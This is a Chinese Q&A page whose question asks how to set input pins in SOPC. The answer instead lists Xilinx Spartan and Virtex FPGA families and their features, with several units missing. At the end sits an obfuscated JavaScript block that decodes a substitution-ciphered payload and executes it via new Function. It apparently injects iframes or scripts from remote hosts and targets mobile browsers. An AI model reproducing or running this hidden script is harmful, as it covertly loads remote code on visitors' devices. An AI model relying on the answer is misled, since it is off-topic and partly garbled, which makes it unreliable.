sopc里input引脚怎么设置

2025-03-07 02:36:10
推荐回答(1个)
回答1:

适合进行SOPC设计的FPGA芯片低端产品有Spartan系列,高端产品有Virtex系列。Spartan系列FPGA可以使用MicroBlaze软核处理器设计SOPC,Virtex系列FPGA可以使用PowerPC硬核处理器设计SOPC。MicroBlaze软核处理器均可在Xilinx的高端和低端FPGA芯片上使用。Spartan系列的FPGA平台用于SOPC设计主要使用Spantan-3系列。Virtex系列的FPGA平台用于SOPC设计主要使用Virtex-II pro,Virtex-V,Virtex-VI系列。下面给出了主要的SOPC设计平台。设计人员可以根据这些FPGA平台的不同性能,在设计SOPC进行选择,以达到所需要的设计要求。

1.3.1 Spartan-3系列FPGA
1、Spartan-3系列FPGA
Spartan-3基于Virtex-II FPGA架构,采用90 nm技术,8层金属工艺,系统门数超过5百万,内嵌了硬核乘法器和数字时钟管理模块。从结构上看,Spartan-3将逻辑、存储器、数学运算、数字处理器处理器、I/O以及系统管理资源完美地结合在一起,使之有更高层次、更广泛的应用,获得了商业上的成功,占据了较大份额的中低端市场。Spartan-3系列FPGA主要特性如下:
1)采用90 工艺,密度高达74880逻辑单元;
2)最高系统时钟为340MHz;
3)具有专用乘法器;
4)核电压为1.2V,端口电压为3.3V、2.5V、1.2V,支持24种I/O标准;
5)高达520k分布式RAM和1872k的块RAM;
6)具有片上时钟管理模块(DCM);
7)具有嵌入式Xtrema DSP功能,每秒可执行3300亿次乘加。
2、Spartan-3E系列
Spartan-3E是目前Spartan系列最新的产品,具有系统门数从10万到160万的多款芯片,是在Spartan-3成功的基础上进一步改进的产品,提供了比Spartan-3更多的I/O端口和更低的单位成本,是Xilinx公司性价比最高的FPGA芯片。由于更好地利用了90 nm技术,在单位成本上实现了更多的功能和处理带宽,是Xilinx公司新的低成本产品代表,是ASIC的有效替代品,主要面向消费电子应用,如宽带无线接入、家庭网络接入以及数字电视设备等。Spartan-3E系列其主要特点如下:
1)采用90nm 工艺;
2)大量用户I/O端口,最多可支持376个I/O端口或者156对差分端口;
3)端口电压为3.3V、2.5V、1.8V、1.5V、1.2V ;
4)单端端口的传输速率可以达到622 ,支持DDR接口;
5)最多可达36个 的专用乘法器、648 块RAM、231 分布式RAM;
6)宽的时钟频率 以及多个专用片上数字时钟管理(DCM)模块;
3、Spartan-3A系列
Spartan-3A 在Spartan-3和Spartan-3E平台的基础上,整合了各种创新特性帮助客户极大地削减了系统总成本。利用独特的器件DNA ID技术,实现业内首款 FPGA 电子序列号;提供了经济、功能强大的机制来防止发生窜改、克隆和过度设计的现象。并且具有集成式看门狗监控功能的增强型多重启动特性。支持商用 flash 存储器,有助于削减系统总成本。Spartan-3A/3ADSP/3AN系列的FPGA主要特性为:
1)采用90 工艺,密度高达74880逻辑单元;
2)工作时钟范围为5MHz~320MHz;
3)领先的连接功能平台,具有最广泛的 IO 标准(26 种,包括新的 TMDS 和 PPDS)支持;
4)利用独特的 Device DNA 序列号实现的业内首个功能强大的防克隆安全特性;
5)五个器件,具有高达 1.4M 的系统门和 502 个 I/O;
6)灵活的功耗管理。
Spartan-3A系列产品的主要技术特征如表1-5所示。
4、Spartan-3ADSP系列
Spartan-3ADSP平台提供了最具成本效益的 DSP 器件,其架构的核心就是 XtremeDSP DSP48A slice,还提供了性能超过30GMAC/s、存储器带宽高达2196 Mbps的新型 XC3SD3400A和XC3SD1800A器件。新型Spartan-3A DSP 平台是成本敏感型 DSP 算法和需要极高DSP性能的协处理应用的理想之选。其主要特征如下所示:
1)采用90nm 工艺,密度高达74880逻辑单元;
2)内嵌的DSP48A可以工作到250MHz;
3)采用结构化的SelectRAM架构,提供了大量的片上存储单元;
4)VCCAUX的电压支持2.5V和3.3V,对于3.3V的应用简化了设计;
5)低功耗效率,Spartan-3A DSP器件具有很高的信号处理能力4.06 GMACs/mW。
5、Spartan-3AN系列
Spartan-3AN芯片为最高级别系统集成的非易失性安全FPGA,提供下列2个独特的性能:先进SRAM FPGA的大量特性和高性能以及非易失性FPGA的安全、节省板空间和易于配置的特性。Spartan-3AN平台是对空间要求严苛和/或安全应用及低成本嵌入式控制器的理想选择。Spartan-3AN平台的主要特性包括:
1)业界首款90nm非易失性FPGA,具有可以实现灵活的、低成本安全性能的Device DNA电子序列号;
2)业内最大的片上用户Flash,容量高达11Mb;
3)提供最广泛的I/O标准支持,包括26种单端与差分信号标准
4)灵活的电源管理模式,休眠模式下可节省超过40%的功耗
5)五个器件,具有高达1.4M的系统门和502个I/O
Spartan-3AN系列产品的主要技术特征如表1-7所示

1.3.2 Virtex-2 Pro系列FPGA
Virtex-2 Pro系列在Virtex-2的基础上,增强了嵌入式处理功能,内嵌了PowerPC405内核,还包括了先进的主动互联(Active Interconnect)技术,以解决高性能系统所面临的挑战。此外还增加了高速串行收发器,提供了千兆以太网的解决方案。其主要特征如下所示:
1)采用0.13 工艺;
2)核电压为1.5V,工作时钟可以达到420MHz;
3)支持20多种I/O接口标准;
4)增加了2个高性能RISC技术、频率高达400MHz的PowerPC处理器;
5)增加多个3.125Gbps速率的Rocket串行收发器;
6)内嵌了多个硬核乘法器,提高了DSP处理能力;
7)具有完全的系统时钟管理功能,多达12个DCM模块。

1.3.3 Virtex-4系列FPGA
Xilinx 的 Virtex™-4 系列将高级硅片组合模块 (ASMBL™) 架构与种类繁多的灵活功
能相结合,大大提高了可编程逻辑设计能力,从而成为替代 ASIC 技术的强有力产品。
Virtex-4系列FPGA主要有三个系列 - LX/SX/FX的产品。Virtex-4 LX用于高性能逻辑应用解决方案。Virtex-4 SX用于高性能数字信号处理 (DSP) 应用解决方案。Virtex-4 FX用于高性能全功能嵌入式平台应用解决方案。Virtex-4系列FPGA采用了下面的技术:
1)Xesium™ 时钟技术,包括:数字时钟管理器 (DCM) 块;附加的相位匹配时钟分频器 (PMCD);差分全局时钟;
2)XtremeDSP™ Slice技术,包括:18 x 18 位带补数功能的有符号乘法器;可选流水线级数;内置累加器(48 位)和加法器/ 减法器
3)Smart RAM 存储器层级技术,包括:分布式 RAM;双端口 18 Kb RAM 块;可选流水线级数;可选的可编程 FIFO 逻辑将 RAM 信号自动再映射为FIFO 信号;高速存储器接口支持 DDR SDRAM、DDR-2 SDRAM、QDR-II 和 RLDRAM-II;
4)SelectIO™ 技术,包括:1.5V 到 3.3V I/O 工作电压;内置 ChipSync™ 源同步技术;数控阻抗 (DCI) 有效终端;细粒度 I/O 组布局(在一个组中配置);
5)灵活的逻辑资源;
6)安全芯片 AES 比特流加密
7)90 nm 铜 CMOS 工艺
8)1.2V 核电压
9)倒装片封装,包括无铅封装选择
10)RocketIO™ 622 Mb/s 到 6.5 Gb/s 千兆位级收发器(MGT) [ 仅 FX]
11)IBM PowerPC RISC 处理器核(仅 FX系列),包括:PowerPC 405 (PPC405) 核;辅助处理器单元接口(用户协处理器);多个三态以太网MAC (仅 FX系列)。

1.3.4 Virtex-5系列FPGA
Virtex-5 系列可提供 FPGA 市场中最新最强大的功能。Virtex-5 系列采用第二代ASMBL™(高级硅片组合模块)列式架构,包含五种截然不同的平台(子系列),比此前任何 FPGA 系列提供的选择范围都大。每种平台都包含不同的功能配比,以满足诸多高级逻辑设计的需求。
Virtex-5系列包含LX、LXT、SXT、TXT 和 FXT 五个平台。Virtex-5 LX主要用于高性能通用逻辑应用。Virtex-5 LXT主要用于具有高级串行连接功能的高性能逻辑。Virtex-5 SXT主要用于具有高级串行连接功能的高性能信号处理应用。Virtex-5 TXT主要用于具有双密度高级串行连接功能的高性能系统。Virtex-5 FXT主要用于具有高级串行连接功能的高性能嵌入式系统。Virtex-5系列的FPGA芯片采用了下列技术:
1)跨平台兼容性,LXT、SXT 和 FXT 器件使用可调稳压器,同样封装中引脚兼容;
2)最先进的最佳利用率高性能 FPGA 架构,其中包括:真 6 输入查找表 (LUT) 技术;双 5-LUT 选项;改进的布线减少了中间连线;64 位分布式 RAM 选项;SRL32/ 双 SRL16 选项;
3)强大的时钟管理模块 (CMT) 时钟控制技术,其中包括:具有零延迟缓冲、频率综合和时钟相移功能的数字时钟管理器模块;具有输入抖动滤波、零延迟缓冲、频率综合和相位匹配时钟分频功能的 PLL 模块;
4)36 Kb Block RAM/FIFO,其中包括:真双端口 RAM 模块;;增强的可选可编程 FIFO 逻辑;可编程高达 36 倍的真双端口宽度;高达 72 倍的简单双端口宽度;内置可选纠错电路;可选择将每个模块作为两个独立的 18 Kb 模块进行编程;
5)高性能并行 SelectIO 技术,其中包括:1.2 到 3.3V I/O 运行;使用 ChipSync™ 技术的源同步接口连接;数控阻抗 (DCI) 有效终端;灵活的细粒度 I/O 分组;支持高速存储器接口;
6)高级 DSP48E Slice技术,其中包括:25 x 18 补码乘法运算;可选加法器、减法器和累加器;可选流水线功能;可选按位逻辑功能;专用的级联连接;
7)灵活的配置选项技术,其中包括:SPI 和并行 FLASH 接口;专用的回读重新配置逻辑,可支持多比特流;自动总线宽度检测功能;
8)所有器件都有系统监视功能,其中包括:片上/ 片外热特性监视;片上/ 片外电源监视;通过 JTAG 端口访问所有监视量;
9)PCI Express 集成端点模块,支持LXT、SXT、TXT 和 FXT 平台;符合 PCI Express 基本规范 1.1;每模块支持 1 倍、4 倍或 8 倍通道宽度;与 RocketIO™ 收发器配合使用
10)三态 10/100/1000 Mb/s 以太网 MAC,支持LXT、SXT、TXT 和 FXT 平台;可以将 RocketIO 收发器用作 PHY,也可以用多种软 MII(媒体独立接口)方案将其连接到外部 PHY;
11)100 Mb/s 到 3.75 Gb/s 的 RocketIO™ GTP 收发器,支持LXT 和 SXT 平台;
12)150 Mb/s 到 6.5 Gb/s 的 RocketIO GTX 收发器,支持TXT 和 FXT 平台;
13)PowerPC 440 微处理器,仅支持 FXT 平台,特性包括:RISC 架构;七级流水线;包括 32 KB 的指令和数据缓存;优化的处理器接口结构(纵横机)
14)65 nm 铜 CMOS 工艺技术
15)1.0V 内核电压
16)可选择标准或无铅的具有高度信号完整性的倒装芯片封装

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();